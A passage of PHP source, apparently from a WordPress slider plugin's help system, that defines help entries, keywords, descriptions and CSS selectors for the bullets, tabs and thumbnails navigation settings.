								$t => __("Bullets Animation", 'revsliderhelp'),
								$h => "nav.bullets.anim",
								$k => array("bullets animation", "bullet animation", "show bullets", "hide bullets", "navigation animation"),
								$d => __("Optionally animate the bullets into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#sr_bullets_animation"
								)
							),
							'show_speed' => array(
								$t => __("Bullets Animation Speed", 'revsliderhelp'),
								$h => "nav.bullets.animSpeed",
								$k => array("bullets visibility", "show speed", "navigation speed"),
								$d => __("The animation speed for when the Bullets animate into and out of view", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullet_animSpeed"
								)
							),
							'show_delay' => array(
								$t => __("Bullets Show Delay", 'revsliderhelp'),
								$h => "nav.bullets.animDelay",
								$k => array("bullets visibility", "navigation delay"),
								$d => __("A delay in milliseconds before the Bullets animate into view", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullet_animDelay"
								)
							),
							'hide_after' => array(
								$di => "nav_bullets_hideafter",
								$t => __("Hide After", 'revsliderhelp'),
								$h => "nav.bullets.alwaysOn",
								$k => array("bullets visibility", "hide after"),
								$d => __("Auto-hide the bullets after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#sr_bulletsalwshow"
								)
							),
							'hide_after_desktop' => array(
								$t => __("Hide After: Desktop", 'revsliderhelp'),
								$h => "nav.bullets.hideDelay",
								$k => array("bullets visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Bullets are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'),
										array($p => 'settings.nav.bullets.alwaysOn', $v => true, $o => 'nav_bullets_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullets_hideDelay"
								)
							),
							'hide_after_mobile' => array(
								$t => __("Hide After: Mobile", 'revsliderhelp'),
								$h => "nav.bullets.hideDelayMobile",
								$k => array("bullets visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Bullets are hidden on mobile devices (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'),
										array($p => 'settings.nav.bullets.alwaysOn', $v => true, $o => 'nav_bullets_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullets_hideDelayMobile"
								)
							),
							'hide_under' => array(
								$di => "nav_bullets_hideunder",
								$t => __("Hide Under", 'revsliderhelp'),
								$h => "nav.bullets.hideUnder",
								$k => array("bullets visibility", "hide under", "hide under width"),
								$d => __("Hide the Bullets when the browser window is equal to or below a certain number", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#sr_bulletshideunder"
								)
							),
							'hide_under_limit' => array(
								$t => __("Hide Under Limit", 'revsliderhelp'),
								$h => "nav.bullets.hideUnderLimit",
								$k => array("bullets visibility", "hide under", "hide under limit"),
								$d => __("Hide the Bullets when the browser window is equal to or below this number", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'),
										array($p => 'settings.nav.bullets.hideUnder', $v => true, $o => 'nav_bullets_hideunder')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullets_hideunderlimit"
								)
							),
							'hide_over' => array(
								$di => "nav_bullets_hideover",
								$t => __("Hide Over", 'revsliderhelp'),
								$h => "nav.bullets.hideOver",
								$k => array("bullets visibility", "hide over", "hide over limit"),
								$d => __("Hide the Bullets when the browser window is equal to or above a certain number", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#sr_bulletshideover"
								)
							),
							'hide_over_limit' => array(
								$t => __("Hide Over Limit", 'revsliderhelp'),
								$h => "nav.bullets.hideOverLimit",
								$k => array("bullets visibility", "hide over", "hide over limit"),
								$d => __("Hide the Bullets when the browser window is equal to or above this number", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'),
										array($p => 'settings.nav.bullets.hideOver', $v => true, $o => 'nav_bullets_hideover')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#nav_bullets_hideoverlimit"
								)
							)
						),
						'styles' => array(
							'css_styling' => array(
								$t => __("CSS Styling", 'revsliderhelp'),
								$h => "navigation.styles",
								$k => array("navigation", "navigation styles", "bullets style", "bullets style", "bullet style"),
								$d => __("Adjust the size colors and other styles for the bullets", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_style', 
									$f => "#form_nav_bullets_style .navstyleinput{first}"
								)
							),
							'override' => array(
								$t => __("Use Custom Style", 'revsliderhelp'),
								$h => "navigation.styles.default",
								$k => array("navigation", "navigation styles", "bullets style", "bullets style", "bullet style"),
								$d => __("Enable custom styling overrides for the bullets", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_slide_nav_bullets', 
									$f => "#form_slide_nav_bullets .navstyleinput{first}"
								)
							)
						)
					),
					'gst_nav_4' => array(
						'enable' => array(
							$di => "nav_tabs",
							$t => __("Enable Tabs", 'revsliderhelp'),
							$h => "nav.tabs.set",
							$k => array("navigation", "tab", "tabs", "add tabs", "add navigation"),
							$d => __("Enable Tabs for the Slider's navigation", 'revsliderhelp'),
							$a => $u . "navigation-tabs/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_4", 
								$st => '#form_nav_tabs_mainstyle', 
								$f => "#sr_usenavtabs"
							)
						),
						'type' => array(
							$t => __("Tabs Type/Style", 'revsliderhelp'),
							$h => "nav.tabs.style",
							$k => array("navigation", "tabs", "tab type", "tab style", "tabs style", "tabs type"),
							$d => __("Choose a predefined style for the Tabs navigation", 'revsliderhelp'),
							$a => $u . "navigation-tabs/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
								),
								$m => "#module_navigation_trigger, #gst_nav_4", 
								$st => '#form_nav_tabs_mainstyle', 
								$f => "#sr_tabs_style"
							)
						),
						'positioning' => array(
							'orientation' => array(
								$t => __("Orientation", 'revsliderhelp'),
								$h => "nav.tabs.direction",
								$k => array("tabs orientation", "tab orientation", "gap", "orientation", "tab horizontal", "tabs horizontal", "tab vertical", "tabs veritcal"),
								$d => __("Display the tabs next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "*[name='sr_tabsdirection'][value='horizontal']"
								)
							),
							'align_by' => array(
								$t => __("Align By Slider/Content", 'revsliderhelp'),
								$h => "nav.tabs.align",
								$k => array("tabs", "tab align", "tab alignment"),
								$d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "*[name='sr_tabsalign'][value='slider']"
								)
							),
							'inner_outer' => array(
								$t => __("Inner/Outer", 'revsliderhelp'),
								$h => "nav.tabs.innerOuter",
								$k => array("tabs. tabs position", "tabs inner", "tabs outer", "inner outer", "inner", "outer vertical", "outer horizontal"),
								$d => __("Choose if the tabs should appear inside or outside the Slider's main content area", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "*[name='sr_tabsinnerouter'][value='inner']"
								)
							),
							'alignment' => array(
								$t => __("Alignment", 'revsliderhelp'),
								$h => "nav.tabs.horizontal, nav.tabs.vertical",
								$k => array("tab align", "tab alignment", "tab position", "tabs position"),
								$d => __("The Tab's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "#tabspos_selector_center-center"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "nav.tabs.offsetX",
								$k => array("tab position", "tab offset"),
								$d => __("Offset the Tab's horizontal position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "#nav_tabs_offsetx"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "nav.tabs.offsetY",
								$k => array("tab position", "tab offset"),
								$d => __("Offset the Tab's vertical position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "#nav_tabs_offsety"
								)
							),
							'visible_amount' => array(
								$t => __("Num. Tabs", 'revsliderhelp'),
								$h => "nav.tabs.amount",
								$k => array("tabs amount", "num tabs", "number tabs"),
								$d => __("The maximum number of tabs that should be visible regardless of the screen size", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_posi', 
									$f => "#nav_tabs_amount"
								)
							)
						),
						'size' => array(
							'space' => array(
								$t => __("Spacing", 'revsliderhelp'),
								$h => "nav.tabs.space",
								$k => array("tabs space", "tabs spacing", "tab space", "tabs spacing", "tab margin", "tab padding", "tabs margin", "tabs padding"),
								$d => __("The space between each individual tab (in pixels)", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_size', 
									$f => "#nav_tabs_space"
								)
							),
							'width' => array(
								$t => __("Width", 'revsliderhelp'),
								$h => "nav.tabs.width",
								$k => array("tabs width", "tab width", "tabs size", "tab size"),
								$d => __("The default width for each individual tab", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_size', 
									$f => "#nav_tabs_width"
								)
							),
							'min_width' => array(
								$t => __("Minimum Width", 'revsliderhelp'),
								$h => "nav.tabs.widthMin",
								$k => array("tabs min-width", "tabs min-width", "tabs size", "tab size", "tabs min width", "tabs minimum width"),
								$d => __("The minimum width for each individual tab", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_size', 
									$f => "#nav_tabs_widthMin"
								)
							),
							'height' => array(
								$t => __("Height", 'revsliderhelp'),
								$h => "nav.tabs.height",
								$k => array("tabs height", "tabs height", "tabs size", "tab size"),
								$d => __("The default height for each individual tab", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_size', 
									$f => "#nav_tabs_height"
								)
							)
						),
						'wrapper' => array(
							'color' => array(
								$t => __("Color", 'revsliderhelp'),
								$h => "nav.tabs.wrapperColor",
								$k => array("tabs color", "tabs color", "tabs size", "tab size"),
								$d => __("The background color for the tabs main wrapper", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_wrap', 
									$f => "#sliderTabBgColor"
								)
							),
							'padding' => array(
								$t => __("Padding", 'revsliderhelp'),
								$h => "nav.tabs.padding",
								$k => array("tabs wrapper", "tabs wrapper padding", "wrapper padding"),
								$d => __("The CSS padding that will be applied to the tabs outer wrapper div", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_wrap', 
									$f => "#nav_tabs_padding"
								)
							),
							'span' => array(
								$t => __("Span/Full-Width", 'revsliderhelp'),
								$h => "nav.tabs.spanWrapper",
								$k => array("tabs span", "tabs wrapper", "tabs wrapper span", "tabs full width", "tabs full-width"),
								$d => __("Choose if the wrapper should be displayed as a block or an inline-block", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_wrap', 
									$f => "#sr_tabspan"
								)
							)
						),
						'visibility' => array(
							'rtl' => array(
								$t => __("Right to Left", 'revsliderhelp'),
								$h => "nav.tabs.rtl",
								$k => array("rtl", "right to left", "right-to-left"),
								$d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#sr_tabsrtl"
								)
							),
							'animation' => array(
								$t => __("Tabs Animation", 'revsliderhelp'),
								$h => "nav.tabs.anim",
								$k => array("tabs animation", "bullet animation", "show tabs", "hide tabs", "navigation animation"),
								$d => __("Optionally animate the tabs into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#sr_tabs_animation"
								)
							),
							'show_speed' => array(
								$t => __("Tabs Animation Speed", 'revsliderhelp'),
								$h => "nav.tabs.animSpeed",
								$k => array("tabs visibility", "show speed", "navigation speed"),
								$d => __("The animation speed for when the Tabs animate into and out of view", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tab_animSpeed"
								)
							),
							'show_delay' => array(
								$t => __("Tabs Show Delay", 'revsliderhelp'),
								$h => "nav.tabs.animDelay",
								$k => array("tabs visibility", "navigation delay"),
								$d => __("A delay in milliseconds before the Tabs animate into view", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tab_animDelay"
								)
							),
							'hide_after' => array(
								$di => "nav_tabs_hideafter",
								$t => __("Hide After", 'revsliderhelp'),
								$h => "nav.tabs.alwaysOn",
								$k => array("tabs visibility", "hide after"),
								$d => __("Auto-hide the tabs after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#sr_tabsalwshow"
								)
							),
							'hide_after_desktop' => array(
								$t => __("Hide After: Desktop", 'revsliderhelp'),
								$h => "nav.tabs.hideDelay",
								$k => array("tabs visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Tabs are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'),
										array($p => 'settings.nav.tabs.alwaysOn', $v => true, $o => 'nav_tabs_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tabs_hideDelay"
								)
							),
							'hide_after_mobile' => array(
								$t => __("Hide After: Mobile", 'revsliderhelp'),
								$h => "nav.tabs.hideDelayMobile",
								$k => array("tabs visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Tabs are hidden on mobile devices (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'),
										array($p => 'settings.nav.tabs.alwaysOn', $v => true, $o => 'nav_tabs_hideafter')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tabs_hideDelayMobile"
								)
							),
							'hide_under' => array(
								$di => "nav_tabs_hideunder",
								$t => __("Hide Under", 'revsliderhelp'),
								$h => "nav.tabs.hideUnder",
								$k => array("tabs visibility", "hide under", "hide under width"),
								$d => __("Hide the Tabs when the browser window is equal to or below a certain number", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#sr_tabshideunder"
								)
							),
							'hide_under_limit' => array(
								$t => __("Hide Under Limit", 'revsliderhelp'),
								$h => "nav.tabs.hideUnderLimit",
								$k => array("tabs visibility", "hide under", "hide under limit"),
								$d => __("Hide the Tabs when the browser window is equal to or below this number", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'),
										array($p => 'settings.nav.tabs.hideUnder', $v => true, $o => 'nav_tabs_hideunder')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tabs_hideunderlimit"
								)
							),
							'hide_over' => array(
								$di => "nav_tabs_hideover",
								$t => __("Hide Over", 'revsliderhelp'),
								$h => "nav.tabs.hideOver",
								$k => array("tabs visibility", "hide over", "hide over limit"),
								$d => __("Hide the Tabs when the browser window is equal to or above a certain number", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#sr_tabshideover"
								)
							),
							'hide_over_limit' => array(
								$t => __("Hide Over Limit", 'revsliderhelp'),
								$h => "nav.tabs.hideOverLimit",
								$k => array("tabs visibility", "hide over", "hide over limit"),
								$d => __("Hide the Tabs when the browser window is equal to or above this number", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'),
										array($p => 'settings.nav.tabs.hideOver', $v => true, $o => 'nav_tabs_hideover')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_visi', 
									$f => "#nav_tabs_hideoverlimit"
								)
							)
						),
						'styles' => array(
							'css_styling' => array(
								$t => __("CSS Styling", 'revsliderhelp'),
								$h => "navigation.styles",
								$k => array("navigation", "navigation styles", "tabs style", "tabs style", "tab style", "tabs style", "tab style", "tab style"),
								$d => __("Adjust the size colors and other styles for the tabs", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_nav_tabs_style', 
									$f => "#form_nav_tabs_style .navstyleinput{first}"
								)
							),
							'override' => array(
								$t => __("Use Custom Style", 'revsliderhelp'),
								$h => "navigation.styles.default",
								$k => array("navigation", "navigation styles", "tabs style", "tabs style", "tab style", "tabs style", "tab style", "bullet style"),
								$d => __("Enable custom styling overrides for the tabs", 'revsliderhelp'),
								$a => $u . "navigation-tabs/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs')
									),
									$m => "#module_navigation_trigger, #gst_nav_4", 
									$st => '#form_slide_nav_tabs', 
									$f => "#form_slide_nav_tabs .navstyleinput{first}"
								)
							)
						)
					),
					'gst_nav_5' => array(
						'enable' => array(
							$di => "nav_thumbs",
							$t => __("Enable Thumbnails", 'revsliderhelp'),
							$h => "nav.thumbs.set",
							$k => array("navigation", "thumb", "thumbs", "add thumbs", "add navigation"),
							$d => __("Enable Thumbnails for the Slider's navigation", 'revsliderhelp'),
							$a => $u . "navigation-thumbnails/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_5", 
								$st => '#form_nav_thumbs_mainstyle', 
								$f => "#sr_usenavthumbs"
							)
						),
						'type' => array(
							$t => __("Thumbnails Type/Style", 'revsliderhelp'),
							$h => "nav.thumbs.style",
							$k => array("navigation", "thumbs", "thumb type", "thumb style", "thumbs style", "thumbs type"),
							$d => __("Choose a predefined style for the Thumbnails navigation", 'revsliderhelp'),
							$a => $u . "navigation-thumbnails/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
								),
								$m => "#module_navigation_trigger, #gst_nav_5", 
								$st => '#form_nav_thumbs_mainstyle', 
								$f => "#sr_thumbs_style"
							)
						),
						'positioning' => array(
							'orientation' => array(
								$t => __("Orientation", 'revsliderhelp'),
								$h => "nav.thumbs.direction",
								$k => array("thumbs orientation", "thumb orientation", "gap", "orientation", "thumb horizontal", "thumbs horizontal", "thumb vertical", "thumbs veritcal"),
								$d => __("Display the thumbs next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "*[name='sr_thumbsdirection'][value='horizontal']"
								)
							),
							'align_by' => array(
								$t => __("Align By Slider/Content", 'revsliderhelp'),
								$h => "nav.thumbs.align",
								$k => array("thumbs", "thumb align", "thumb alignment"),
								$d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'),
								$a => $u . "navigation-thumbnails/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs')
									),
									$m => "#module_navigation_trigger, #gst_nav_5", 
									$st => '#form_nav_thumbs_posi', 
									$f => "*[name='sr_thumbsalign'][value='slider']"
								)
							),
							'inner_outer' => array(
								$t => __("Inner/Outer", 'revsliderhelp'),
								$h => "nav.thumbs.innerOuter",
